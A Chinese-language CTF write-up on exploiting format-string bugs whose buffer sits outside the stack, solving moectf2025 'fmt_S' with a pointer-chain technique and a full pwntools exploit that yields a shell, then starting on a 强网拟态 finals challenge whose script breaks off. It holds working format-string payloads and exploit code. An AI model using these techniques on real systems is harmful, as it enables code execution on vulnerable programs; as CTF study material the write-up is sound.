0x00

时值 moectf2025(比赛原因写完过了两个月才发布),虽然已经不是小登了,但还是做几题练练手,顺带总结一下非栈上fmtstr
同时补充六届强网拟态线下赛的一道题目

0x01 关于非栈上fmtstr利用

之前一直没有专门记录过非栈上fmtstr的利用,姑且提一嘴
当我们读入的地址不在栈上时候(位于bss段或者堆上),便不能直接写入地址,所以不好简单的直接进行任意地址写,这时候就需要另一些办法,比较广泛的有利用栈上的指针跳板实现部分地址写(诸葛连弩 or 四马分肥),或者将栈迁移到对应区域,又或者是栈上可能存在着指向link_map的指针,利用其来修改l_addr,劫持fini_array
下面用 moectf2025 的 fmt_s 来记录一下指针跳板的利用

0x02 moectf2025 | fmt_S

先把源码放出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int __fastcall main(int argc, const char **argv, const char **envp)
{
int i; // [rsp+Ch] [rbp-4h]

init(argc, argv, envp);
puts("You're walking down the road when a monster appear.");
for ( i = 1; i <= 3 && !flag; ++i )
talk();
if ( (unsigned __int64)atk <= 0x1BF52 )
puts("You've been eaten by the monster.");
else
he();
return 0;
}

然后是关键的talk函数

1
2
3
4
5
6
7
8
9
10
size_t talk()
{
puts("You start talking to him...");
flag ^= 1u;
read(0, fmt, 0x20uLL);
printf(fmt);
puts("?");
puts("You enraged the monster-prepare for battle!");
return my_read(&atk, 8uLL);
}

明显的fmtstr漏洞,但是注意这里读入的fmt是在bss段的

1
2
3
4
5
6
7
8
9
10
11
12
.bss:00000000004040A0 atk             dq ?                    ; DATA XREF: talk+7A↑o
.bss:00000000004040A0 ; main:loc_4013BE↑r
.bss:00000000004040A8 public flag
.bss:00000000004040A8 flag dd ? ; DATA XREF: talk+1B↑r
.bss:00000000004040A8 ; talk+24↑w ...
.bss:00000000004040AC align 20h
.bss:00000000004040C0 public fmt
.bss:00000000004040C0 ; char fmt[256]
.bss:00000000004040C0 fmt db 100h dup(?) ; DATA XREF: talk+2F↑o
.bss:00000000004040C0 ; talk+43↑o
.bss:00000000004040C0 _bss ends
.bss:00000000004040C0

结合一下main函数逻辑,会通过变量i(位于栈上)和变量flag来限制fmt的使用
然后我们看封装的my_read

1
2
3
4
5
size_t __fastcall my_read(_BYTE *a1, size_t a2)
{
a1[read(0, a1, a2)] = 0;
return strlen(a1);
}

这里有个点就是当我们输入满八字节时候,它会多补一个0,实现对flag的置0,从而可以绕过flag的限制(原本flag是0,然后每次talk函数都会将其按位异或1,实现一个翻转的效果,而只有flag等于0时候才能进入talk函数)
至于i的计数限制,我们用一次fmtstr利用来修改其最高字节为0xff,将其变为一个大负数即可
这样两个限制绕过了,我们便可以进行任意次的fmtstr的利用
看一眼可能的后门函数,其实没用

1
2
3
4
5
6
7
8
9
10
11
unsigned __int64 he()
{
char command[6]; // [rsp+2h] [rbp-Eh] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
qmemcpy(command, "a_flag", sizeof(command));
puts("The monster is defeated, and you obtain: flag?");
system(command);
return v2 - __readfsqword(0x28u);
}

回到正题,我们如何进行这个bss段上的fmtstr的利用呢?尽管fmtstr不在栈上,其使用k$来索引参数时,也是在栈上索引的,我们这里是64位,这样索引的前5个参数都是寄存器的值(从rsi开始,rdi存放fmtstr本身),从6$开始便会索引到栈区域
所以我们能利用的便是栈上的数据,我们可以利用栈上的多级指针,修改其指向我们想要指向的地址,从而再利用其来修改数据,调试看看
在进入printf函数后,我们查看栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
pwndbg> stack 60
00:0000│ rsp 0x7ffcaf1e86c8 —▸ 0x401337 (talk+87) ◂— lea rax, [rip + 0xd15]
01:0008│-010 0x7ffcaf1e86d0 —▸ 0x7ffcaf1e8818 —▸ 0x7ffcaf1e906a ◂— '/home/r3t2/CTF/moectf2025/fmt_s/pwn_patched'
02:0010│-008 0x7ffcaf1e86d8 —▸ 0x40136f (main) ◂— endbr64
03:0018│ rbp 0x7ffcaf1e86e0 —▸ 0x7ffcaf1e8700 ◂— 1
04:0020│+008 0x7ffcaf1e86e8 —▸ 0x4013b1 (main+66) ◂— add dword ptr [rbp - 4], 1
05:0028│+010 0x7ffcaf1e86f0 ◂— 0x1000
06:0030│+018 0x7ffcaf1e86f8 ◂— 0x100401110
07:0038│+020 0x7ffcaf1e8700 ◂— 1
08:0040│+028 0x7ffcaf1e8708 —▸ 0x79b4da629d90 (__libc_start_call_main+128) ◂— mov edi, eax
09:0048│+030 0x7ffcaf1e8710 ◂— 0
0a:0050│+038 0x7ffcaf1e8718 —▸ 0x40136f (main) ◂— endbr64
0b:0058│+040 0x7ffcaf1e8720 ◂— 0x1af1e8800
0c:0060│+048 0x7ffcaf1e8728 —▸ 0x7ffcaf1e8818 —▸ 0x7ffcaf1e906a ◂— '/home/r3t2/CTF/moectf2025/fmt_s/pwn_patched'
0d:0068│+050 0x7ffcaf1e8730 ◂— 0
0e:0070│+058 0x7ffcaf1e8738 ◂— 0xa80c940d072fe83d
0f:0078│+060 0x7ffcaf1e8740 —▸ 0x7ffcaf1e8818 —▸ 0x7ffcaf1e906a ◂— '/home/r3t2/CTF/moectf2025/fmt_s/pwn_patched'
10:0080│+068 0x7ffcaf1e8748 —▸ 0x40136f (main) ◂— endbr64
11:0088│+070 0x7ffcaf1e8750 —▸ 0x403e00 (__do_global_dtors_aux_fini_array_entry) —▸ 0x4011c0 (__do_global_dtors_aux) ◂— endbr64
12:0090│+078 0x7ffcaf1e8758 —▸ 0x79b4da8e6040 (_rtld_global) —▸ 0x79b4da8e72e0 ◂— 0
13:0098│+080 0x7ffcaf1e8760 ◂— 0x57f5ca30090de83d
14:00a0│+088 0x7ffcaf1e8768 ◂— 0x5b6520c83da5e83d
15:00a8│+090 0x7ffcaf1e8770 ◂— 0x79b400000000
16:00b0│+098 0x7ffcaf1e8778 ◂— 0
... ↓ 3 skipped
1a:00d0│+0b8 0x7ffcaf1e8798 ◂— 0x10b499ce6a95af00
1b:00d8│+0c0 0x7ffcaf1e87a0 ◂— 0
1c:00e0│+0c8 0x7ffcaf1e87a8 —▸ 0x79b4da629e40 (__libc_start_main+128) ◂— mov r15, qword ptr [rip + 0x1f0159]
1d:00e8│+0d0 0x7ffcaf1e87b0 —▸ 0x7ffcaf1e8828 —▸ 0x7ffcaf1e9096 ◂— 'SHELL=/bin/bash'
1e:00f0│+0d8 0x7ffcaf1e87b8 —▸ 0x403e00 (__do_global_dtors_aux_fini_array_entry) —▸ 0x4011c0 (__do_global_dtors_aux) ◂— endbr64
1f:00f8│+0e0 0x7ffcaf1e87c0 —▸ 0x79b4da8e72e0 ◂— 0
20:0100│+0e8 0x7ffcaf1e87c8 ◂— 0
21:0108│+0f0 0x7ffcaf1e87d0 ◂— 0
22:0110│+0f8 0x7ffcaf1e87d8 —▸ 0x401110 (_start) ◂— endbr64
23:0118│+100 0x7ffcaf1e87e0 —▸ 0x7ffcaf1e8810 ◂— 1
24:0120│+108 0x7ffcaf1e87e8 ◂— 0
25:0128│+110 0x7ffcaf1e87f0 ◂— 0
26:0130│+118 0x7ffcaf1e87f8 —▸ 0x401135 (_start+37) ◂— hlt
27:0138│+120 0x7ffcaf1e8800 —▸ 0x7ffcaf1e8808 ◂— 0x1c
28:0140│+128 0x7ffcaf1e8808 ◂— 0x1c
29:0148│+130 0x7ffcaf1e8810 ◂— 1
2a:0150│ r12 0x7ffcaf1e8818 —▸ 0x7ffcaf1e906a ◂— '/home/r3t2/CTF/moectf2025/fmt_s/pwn_patched'
2b:0158│+140 0x7ffcaf1e8820 ◂— 0
2c:0160│+148 0x7ffcaf1e8828 —▸ 0x7ffcaf1e9096 ◂— 'SHELL=/bin/bash'
2d:0168│+150 0x7ffcaf1e8830 —▸ 0x7ffcaf1e90a6 ◂— 'no_proxy=172.31.*,172.30.*,172.29.*,172.28.*,172.27.*,172.26.*,172.25.*,172.24.*,172.23.*,172.22.*,172.21.*,172.20.*,172.19.*,172.18.*,172.17.*,172.16.*,10.*,192.168.*,127.*,localhost,<local>'
2e:0170│+158 0x7ffcaf1e8838 —▸ 0x7ffcaf1e9166 ◂— 'WSL2_GUI_APPS_ENABLED=1'
2f:0178│+160 0x7ffcaf1e8840 —▸ 0x7ffcaf1e917e ◂— 'WSL_DISTRO_NAME=Ubuntu-22.04'
30:0180│+168 0x7ffcaf1e8848 —▸ 0x7ffcaf1e919b ◂— 'WT_SESSION=0372699a-7fe9-401a-a75b-8b48d2e5f1c0'
31:0188│+170 0x7ffcaf1e8850 —▸ 0x7ffcaf1e91cb ◂— 'NAME=LAPTOP-6JKPOVPE'
32:0190│+178 0x7ffcaf1e8858 —▸ 0x7ffcaf1e91e0 ◂— 'PWD=/home/r3t2/CTF/moectf2025/fmt_s'
33:0198│+180 0x7ffcaf1e8860 —▸ 0x7ffcaf1e9204 ◂— 'LOGNAME=r3t2'
34:01a0│+188 0x7ffcaf1e8868 —▸ 0x7ffcaf1e9211 ◂— 'HOME=/home/r3t2'
35:01a8│+190 0x7ffcaf1e8870 —▸ 0x7ffcaf1e9221 ◂— 'LANG=C.UTF-8'
36:01b0│+198 0x7ffcaf1e8878 —▸ 0x7ffcaf1e922e ◂— 'WSL_INTEROP=/run/WSL/445_interop'
37:01b8│+1a0 0x7ffcaf1e8880 —▸ 0x7ffcaf1e924f ◂— 0x524f4c4f435f534c ('LS_COLOR')
38:01c0│+1a8 0x7ffcaf1e8888 —▸ 0x7ffcaf1e983e ◂— 'WAYLAND_DISPLAY=wayland-0'
39:01c8│+1b0 0x7ffcaf1e8890 —▸ 0x7ffcaf1e9858 ◂— 'https_proxy=http://127.0.0.1:7897'
3a:01d0│+1b8 0x7ffcaf1e8898 —▸ 0x7ffcaf1e987a ◂— 'LESSCLOSE=/usr/bin/lesspipe %s %s'
3b:01d8│+1c0 0x7ffcaf1e88a0 —▸ 0x7ffcaf1e989c ◂— 'TERM=xterm-256color'

注意到这里存在一个多级指针

1
0c:0060│+048 0x7ffcaf1e8728 —▸ 0x7ffcaf1e8818 —▸ 0x7ffcaf1e906a ◂— '/home/r3t2/CTF/moectf2025/fmt_s/pwn_patched'

很容易发现,0x7ffcaf1e906a(记为p2)和栈上地址仅仅相差低两字节,如果我们能将其修改为返回地址的栈上地址,然后后续再找到0x7ffcaf1e8818(记为p1)的偏移处,即

1
2a:0150│ r12 0x7ffcaf1e8818 —▸ 0x7ffcaf1e906a ◂— '/home/r3t2/CTF/moectf2025/fmt_s/pwn_patched'

就能修改对应的地址处的数据
以修改i为例子,首先我们找到i在栈上的位置,因为i是一个int,这里位于高四字节处

1
06:0030│+018 0x7ffcaf1e86f8 ◂— 0x100401110

如果我们将p2的低两字节改为这里的0x86f8+7,那么p2便指向了i在栈上的最高字节,后续再通过p1写入0xff,便将其修改成了一个大负数,这里第一步的exp为

1
2
3
4
5
payload='%{}c'.format((i_addr & 0xffff) + 7).encode() + b"%17$hn" #修改跳板指向i的栈上地址
io.recvuntil(b'him...')
io.send(payload)
io.recvuntil(b'battle!')
io.send(p64(0))

关于这里地址的泄露,我们很容易能在栈上找到栈地址和libc地址,如下所示

1
2
3
03:0018│ rbp 0x7ffcaf1e86e0 —▸ 0x7ffcaf1e8700 ◂— 1
...
1c:00e0│+0c8 0x7ffcaf1e87a8 —▸ 0x79b4da629e40 (__libc_start_main+128) ◂— mov r15, qword ptr [rip + 0x1f0159]

故地址泄露不再赘述
我们看修改结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
pwndbg> stack 40
00:0000│ rbp rsp 0x7ffcaf1e86e0 —▸ 0x7ffcaf1e8700 ◂— 1
01:0008│+008 0x7ffcaf1e86e8 —▸ 0x4013b1 (main+66) ◂— add dword ptr [rbp - 4], 1
02:0010│+010 0x7ffcaf1e86f0 ◂— 0x1000
03:0018│+018 0x7ffcaf1e86f8 ◂— 0x300401110
04:0020│+020 0x7ffcaf1e8700 ◂— 1
05:0028│+028 0x7ffcaf1e8708 —▸ 0x79b4da629d90 (__libc_start_call_main+128) ◂— mov edi, eax
06:0030│+030 0x7ffcaf1e8710 ◂— 0
07:0038│+038 0x7ffcaf1e8718 —▸ 0x40136f (main) ◂— endbr64
08:0040│+040 0x7ffcaf1e8720 ◂— 0x1af1e8800
09:0048│+048 0x7ffcaf1e8728 —▸ 0x7ffcaf1e8818 —▸ 0x7ffcaf1e86ff ◂— 0x100
0a:0050│+050 0x7ffcaf1e8730 ◂— 0
0b:0058│+058 0x7ffcaf1e8738 ◂— 0xa80c940d072fe83d
0c:0060│+060 0x7ffcaf1e8740 —▸ 0x7ffcaf1e8818 —▸ 0x7ffcaf1e86ff ◂— 0x100
0d:0068│+068 0x7ffcaf1e8748 —▸ 0x40136f (main) ◂— endbr64
0e:0070│+070 0x7ffcaf1e8750 —▸ 0x403e00 (__do_global_dtors_aux_fini_array_entry) —▸ 0x4011c0 (__do_global_dtors_aux) ◂— endbr64
0f:0078│+078 0x7ffcaf1e8758 —▸ 0x79b4da8e6040 (_rtld_global) —▸ 0x79b4da8e72e0 ◂— 0
10:0080│+080 0x7ffcaf1e8760 ◂— 0x57f5ca30090de83d
11:0088│+088 0x7ffcaf1e8768 ◂— 0x5b6520c83da5e83d
12:0090│+090 0x7ffcaf1e8770 ◂— 0x79b400000000
13:0098│+098 0x7ffcaf1e8778 ◂— 0
... ↓ 3 skipped
17:00b8│+0b8 0x7ffcaf1e8798 ◂— 0x10b499ce6a95af00
18:00c0│+0c0 0x7ffcaf1e87a0 ◂— 0
19:00c8│+0c8 0x7ffcaf1e87a8 —▸ 0x79b4da629e40 (__libc_start_main+128) ◂— mov r15, qword ptr [rip + 0x1f0159]
1a:00d0│+0d0 0x7ffcaf1e87b0 —▸ 0x7ffcaf1e8828 —▸ 0x7ffcaf1e9096 ◂— 'SHELL=/bin/bash'
1b:00d8│+0d8 0x7ffcaf1e87b8 —▸ 0x403e00 (__do_global_dtors_aux_fini_array_entry) —▸ 0x4011c0 (__do_global_dtors_aux) ◂— endbr64
1c:00e0│+0e0 0x7ffcaf1e87c0 —▸ 0x79b4da8e72e0 ◂— 0
1d:00e8│+0e8 0x7ffcaf1e87c8 ◂— 0
1e:00f0│+0f0 0x7ffcaf1e87d0 ◂— 0
1f:00f8│+0f8 0x7ffcaf1e87d8 —▸ 0x401110 (_start) ◂— endbr64
20:0100│+100 0x7ffcaf1e87e0 —▸ 0x7ffcaf1e8810 ◂— 1
21:0108│+108 0x7ffcaf1e87e8 ◂— 0
22:0110│+110 0x7ffcaf1e87f0 ◂— 0
23:0118│+118 0x7ffcaf1e87f8 —▸ 0x401135 (_start+37) ◂— hlt
24:0120│+120 0x7ffcaf1e8800 —▸ 0x7ffcaf1e8808 ◂— 0x1c
25:0128│+128 0x7ffcaf1e8808 ◂— 0x1c
26:0130│+130 0x7ffcaf1e8810 ◂— 1
27:0138│ r12 0x7ffcaf1e8818 —▸ 0x7ffcaf1e86ff ◂— 0x100

可以看到p1指针已经修改到了i在栈上的高字节

1
2
3
0c:0060│+060     0x7ffcaf1e8740 —▸ 0x7ffcaf1e8818 —▸ 0x7ffcaf1e86ff ◂— 0x100
...
27:0138│ r12 0x7ffcaf1e8818 —▸ 0x7ffcaf1e86ff ◂— 0x100

接着第二步,利用p1修改i的符号位

1
2
3
4
5
payload='%{}c'.format(0xff).encode() + b"%47$hhn" #修改i符号位
io.recvuntil(b'him...')
io.send(payload)
io.recvuntil(b'battle!')
io.send(p64(0))

我们看效果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
pwndbg> stack 40
00:0000│ rbp rsp 0x7ffcaf1e86e0 —▸ 0x7ffcaf1e8700 ◂— 1
01:0008│+008 0x7ffcaf1e86e8 —▸ 0x4013b1 (main+66) ◂— add dword ptr [rbp - 4], 1
02:0010│+010 0x7ffcaf1e86f0 ◂— 0x1000
03:0018│+018 0x7ffcaf1e86f8 ◂— 0xff00000400401110
04:0020│+020 0x7ffcaf1e8700 ◂— 1
05:0028│+028 0x7ffcaf1e8708 —▸ 0x79b4da629d90 (__libc_start_call_main+128) ◂— mov edi, eax
06:0030│+030 0x7ffcaf1e8710 ◂— 0
07:0038│+038 0x7ffcaf1e8718 —▸ 0x40136f (main) ◂— endbr64
08:0040│+040 0x7ffcaf1e8720 ◂— 0x1af1e8800
09:0048│+048 0x7ffcaf1e8728 —▸ 0x7ffcaf1e8818 —▸ 0x7ffcaf1e86ff ◂— 0x1ff
0a:0050│+050 0x7ffcaf1e8730 ◂— 0
0b:0058│+058 0x7ffcaf1e8738 ◂— 0xa80c940d072fe83d
0c:0060│+060 0x7ffcaf1e8740 —▸ 0x7ffcaf1e8818 —▸ 0x7ffcaf1e86ff ◂— 0x1ff
0d:0068│+068 0x7ffcaf1e8748 —▸ 0x40136f (main) ◂— endbr64
0e:0070│+070 0x7ffcaf1e8750 —▸ 0x403e00 (__do_global_dtors_aux_fini_array_entry) —▸ 0x4011c0 (__do_global_dtors_aux) ◂— endbr64
0f:0078│+078 0x7ffcaf1e8758 —▸ 0x79b4da8e6040 (_rtld_global) —▸ 0x79b4da8e72e0 ◂— 0
10:0080│+080 0x7ffcaf1e8760 ◂— 0x57f5ca30090de83d
11:0088│+088 0x7ffcaf1e8768 ◂— 0x5b6520c83da5e83d
12:0090│+090 0x7ffcaf1e8770 ◂— 0x79b400000000
13:0098│+098 0x7ffcaf1e8778 ◂— 0
... ↓ 3 skipped
17:00b8│+0b8 0x7ffcaf1e8798 ◂— 0x10b499ce6a95af00
18:00c0│+0c0 0x7ffcaf1e87a0 ◂— 0
19:00c8│+0c8 0x7ffcaf1e87a8 —▸ 0x79b4da629e40 (__libc_start_main+128) ◂— mov r15, qword ptr [rip + 0x1f0159]
1a:00d0│+0d0 0x7ffcaf1e87b0 —▸ 0x7ffcaf1e8828 —▸ 0x7ffcaf1e9096 ◂— 'SHELL=/bin/bash'
1b:00d8│+0d8 0x7ffcaf1e87b8 —▸ 0x403e00 (__do_global_dtors_aux_fini_array_entry) —▸ 0x4011c0 (__do_global_dtors_aux) ◂— endbr64
1c:00e0│+0e0 0x7ffcaf1e87c0 —▸ 0x79b4da8e72e0 ◂— 0
1d:00e8│+0e8 0x7ffcaf1e87c8 ◂— 0
1e:00f0│+0f0 0x7ffcaf1e87d0 ◂— 0
1f:00f8│+0f8 0x7ffcaf1e87d8 —▸ 0x401110 (_start) ◂— endbr64
20:0100│+100 0x7ffcaf1e87e0 —▸ 0x7ffcaf1e8810 ◂— 1
21:0108│+108 0x7ffcaf1e87e8 ◂— 0
22:0110│+110 0x7ffcaf1e87f0 ◂— 0
23:0118│+118 0x7ffcaf1e87f8 —▸ 0x401135 (_start+37) ◂— hlt
24:0120│+120 0x7ffcaf1e8800 —▸ 0x7ffcaf1e8808 ◂— 0x1c
25:0128│+128 0x7ffcaf1e8808 ◂— 0x1c
26:0130│+130 0x7ffcaf1e8810 ◂— 1
27:0138│ r12 0x7ffcaf1e8818 —▸ 0x7ffcaf1e86ff ◂— 0x1ff
pwndbg> x/dw 0x7ffcaf1e86f8+4
0x7ffcaf1e86fc: -16777212

可以看到i已经被修改成了一个大负数-16777212
后续思路便是不断修改p2指针指向,再通过p1来修改数据,将main返回地址修改为one_gadget
我们找到一个合适的one_gadget

1
2
3
4
5
0xebd3f execve("/bin/sh", rbp-0x50, [rbp-0x70])
constraints:
address rbp-0x48 is writable
rax == NULL || {rax, r12, NULL} is a valid argv
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp

其条件rax == NULL这里已经满足,因为main函数return 0会将rax置0,然后address rbp-0x48 is writable以及[[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp就需要我们再通过调试,将rbp修改为栈上合适的值(也是通过p2p1的组合技来修改,后来才知道这个打法叫“诸葛连弩”,还是很形象的)
最后要使main返回的话只需要在talk函数中最后不发送八字节数据,发送一个‘0’即可
放上exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
from pwn import *

context(os='linux', arch='amd64', log_level='debug')

filename = "pwn_patched"
libcname = "/home/r3t2/.config/cpwn/pkgs/2.35-0ubuntu3.8/amd64/libc6_2.35-0ubuntu3.8_amd64/lib/x86_64-linux-gnu/libc.so.6"
host = "127.0.0.1"
port = 56167
elf = context.binary = ELF(filename)
if libcname:
libc = ELF(libcname)
gs = '''
b main
set debug-file-directory /home/r3t2/.config/cpwn/pkgs/2.35-0ubuntu3.8/amd64/libc6-dbg_2.35-0ubuntu3.8_amd64/usr/lib/debug
set directories /home/r3t2/.config/cpwn/pkgs/2.35-0ubuntu3.8/amd64/glibc-source_2.35-0ubuntu3.8_all/usr/src/glibc/glibc-2.35
b talk
'''

def start():
if args.P:
return process(elf.path)
elif args.R:
return remote(host, port)
else:
return gdb.debug(elf.path, gdbscript = gs)


io = start()

# Your exploit here
payload=b'%8$p%33$p'
io.recvuntil(b'him...')
io.sendline(payload)
io.recvuntil(b'0x')
stack_addr=int(io.recv(12),16)
ret_addr=stack_addr-0x18+0x20
i_addr=ret_addr+0x10-0x20
log.success("ret_addr in stack-->"+hex(ret_addr))
log.success("i_addr in stack-->"+hex(i_addr))
io.recvuntil(b'0x')
libc_start_main=int(io.recv(12),16)-128
libc_base=libc_start_main-libc.sym['__libc_start_main']
log.success("libc_base-->"+hex(libc_base))
io.recvuntil(b'battle!')
io.send(p64(0))

payload='%{}c'.format((i_addr & 0xffff) + 7).encode() + b"%17$hn" #修改跳板指向i的栈上地址
io.recvuntil(b'him...')
io.send(payload)
io.recvuntil(b'battle!')
io.send(p64(0))

payload='%{}c'.format(0xff).encode() + b"%47$hhn" #修改i符号位
io.recvuntil(b'him...')
io.send(payload)
io.recvuntil(b'battle!')
io.send(p64(0))

payload='%{}c'.format(ret_addr & 0xffff).encode() + b"%17$hn" #修改跳板指向main返回地址的栈上地址
io.recvuntil(b'him...')
io.send(payload)
io.recvuntil(b'battle!')
io.send(p64(0))

backdoor=libc_base+0xebd3f #one_gadget

#0xebd3f execve("/bin/sh", rbp-0x50, [rbp-0x70])
#constraints:
#address rbp-0x48 is writable
#rax == NULL || {rax, r12, NULL} is a valid argv
#[[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp

payload='%{}c'.format(backdoor & 0xffff).encode() + b"%47$hn" #修改main返回地址
io.recvuntil(b'him...')
io.send(payload)
io.recvuntil(b'battle!')
io.send(p64(0))

payload='%{}c'.format((ret_addr & 0xffff) + 2).encode() + b"%17$hn" #修改跳板指向main返回地址的栈上地址
io.recvuntil(b'him...')
io.send(payload)
io.recvuntil(b'battle!')
io.send(p64(0))

payload='%{}c'.format((backdoor >> 16) & 0xffff).encode() + b"%47$hn" #修改main返回地址
io.recvuntil(b'him...')
io.send(payload)
io.recvuntil(b'battle!')
io.send(p64(0))

rbp_addr=ret_addr-0x8

payload='%{}c'.format(rbp_addr & 0xffff).encode() + b"%17$hn" #修改跳板指向main的rbp的栈上地址
io.recvuntil(b'him...')
io.send(payload)
io.recvuntil(b'battle!')
io.send(p64(0))

rbp=ret_addr+0x80-0x8 #找合适的rbp值

payload='%{}c'.format(rbp & 0xffff).encode() + b"%47$hn" #修改rbp
io.recvuntil(b'him...')
io.send(payload)
io.recvuntil(b'battle!')
io.send(p64(0))

payload='%{}c'.format((rbp_addr & 0xffff) + 2).encode() + b"%17$hn" #修改跳板指向main的rbp的栈上地址
io.recvuntil(b'him...')
io.send(payload)
io.recvuntil(b'battle!')
io.send(p64(0))

payload='%{}c'.format((rbp >> 16) & 0xffff).encode() + b"%47$hn" #修改rbp
io.recvuntil(b'him...')
io.send(payload)
io.recvuntil(b'battle!')
io.send(p64(0))

payload='%{}c'.format((rbp_addr & 0xffff) + 4).encode() + b"%17$hn" #修改跳板指向main的rbp的栈上地址
io.recvuntil(b'him...')
io.send(payload)
io.recvuntil(b'battle!')
io.send(p64(0))

payload='%{}c'.format((rbp >> 32) & 0xffff).encode() + b"%47$hn" #修改rbp
io.recvuntil(b'him...')
io.send(payload)
io.recvuntil(b'battle!')
io.sendline(b'0') #最后不发8字节使main返回

io.interactive()

看本地效果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
[DEBUG] Received 0x22 bytes:
b"You've been eaten by the monster.\n"
You've been eaten by the monster.
$ ls
[DEBUG] Sent 0x3 bytes:
b'ls\n'
[DEBUG] Received 0x39 bytes:
b'exp.py\tld-linux-x86-64.so.2 libc.so.6 pwn pwn_patched\n'
exp.py ld-linux-x86-64.so.2 libc.so.6 pwn pwn_patched
$ whoami
[DEBUG] Sent 0x7 bytes:
b'whoami\n'
[DEBUG] Received 0x5 bytes:
b'r3t2\n'
r3t2
$

远程也可打通

0x03 比较极限的情况

第六届强网拟态线下赛的一道题目

1
2
3
4
5
6
7
8
9
10
11
12
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
__int64 savedregs; // [rsp+10h] [rbp+0h] BYREF

setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
printf("Gift: %x\n", (unsigned __int16)((unsigned __int16)&savedregs - 12));
read(0, buf, 0x100uLL);
printf(buf);
_exit(0);
}

先给出了栈地址的低二字节,然后什么都没有了
第一想法就是打指针跳板,调试可以看到

1
2
3
06:0030│+018 0x7fffffffdbb8 —▸ 0x7fffffffdc98 —▸ 0x7fffffffdf83 ◂— '/home/r3t2/ctf/temp/pwn_patched'
...
16:00b0│+098 0x7fffffffdc38 —▸ 0x7fffffffdca8 —▸ 0x7fffffffdfa3 ◂— 'SHELL=/bin/bash'

这两条链,同时还有个发现

1
17:00b8│+0a0 0x7fffffffdc40 —▸ 0x7ffff7ffe190 —▸ 0x555555554000 ◂— 0x10102464c457f

这是一个指向link_map结点的指针

1
2
3
4
5
6
7
8
9
pwndbg> tele 0x7ffff7ffe190
00:0000│ 0x7ffff7ffe190 —▸ 0x555555554000 ◂— 0x10102464c457f
01:0008│ 0x7ffff7ffe198 —▸ 0x7ffff7ffe730 ◂— 0
02:0010│ 0x7ffff7ffe1a0 —▸ 0x555555557d98 (_DYNAMIC) ◂— 1
03:0018│ 0x7ffff7ffe1a8 —▸ 0x7ffff7ffe740 —▸ 0x7ffff7fcd000 ◂— jg 0x7ffff7fcd047
04:0020│ 0x7ffff7ffe1b0 ◂— 0
05:0028│ 0x7ffff7ffe1b8 —▸ 0x7ffff7ffe190 —▸ 0x555555554000 ◂— 0x10102464c457f
06:0030│ 0x7ffff7ffe1c0 ◂— 0
07:0038│ 0x7ffff7ffe1c8 —▸ 0x7ffff7ffe718 —▸ 0x7ffff7ffe730 ◂— 0

确实符合特点,但是这题打这个是打不通的,遂放弃
所以还是打指针跳板

1
2
3
4
5
6
7
8
9
10
11
.text:0000000000001223                 mov     edx, 100h       ; nbytes
.text:0000000000001228 lea rax, buf
.text:000000000000122F mov rsi, rax ; buf
.text:0000000000001232 mov edi, 0 ; fd
.text:0000000000001237 call _read
.text:000000000000123C lea rax, buf
.text:0000000000001243 mov rdi, rax ; format
.text:0000000000001246 mov eax, 0
.text:000000000000124B call _printf
.text:0000000000001250 mov edi, 0 ; status
.text:0000000000001255 call __exit

可以看到这里fmtstr利用一次后没有其他机会,马上call __exit,那我们就只能修改printf自身的返回地址到调用read前,这样才可能多次利用,这需要两条指针跳板链,为什么呢?因为一条用来修改printf的返回地址,一条用来布置one_gadget
这时又出现了奇怪的现象

1
2
3
payload = '%{}c'.format(printf_ret).encode() + b"%11$hn" + \
'%{}c'.format(0x10000 - printf_ret + 0x23).encode() + b"%39$hhn"
io.send(payload)

最初我是这样写的,调试发现仅仅成功修改了跳板,而目标,也就是printf的返回地址却没有修改到,后续当然就做不出来

1
2
3
payload = b'%p'*9 + '%{}c'.format(printf_ret - 90).encode() + b"%hn" + \
'%{}c'.format(0x10000 - printf_ret + 0x23).encode() + b"%39$hhn"
io.send(payload)

而换个偏移方式,这样却能同时修改成功,非常诡异,需要探究一下,见另一篇博客
那么我们只能修改printf的返回地址,如果要修改其为one_gadget的话是不行的,因为我们打指针跳板要一部分一部分的改,需要多次printf正常返回到read,来进行多次利用,所以我们在printf的返回地址的下一个栈单元布置one_gadget,最后布置完后修改printf返回到ret即可

1
.text:00000000000012C4                 retn

找到我们方便改写的ret地址,最后exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
#!/usr/bin/env python3
from pwn import *

context(os='linux', arch='amd64', log_level='debug')

filename = "pwn_patched"
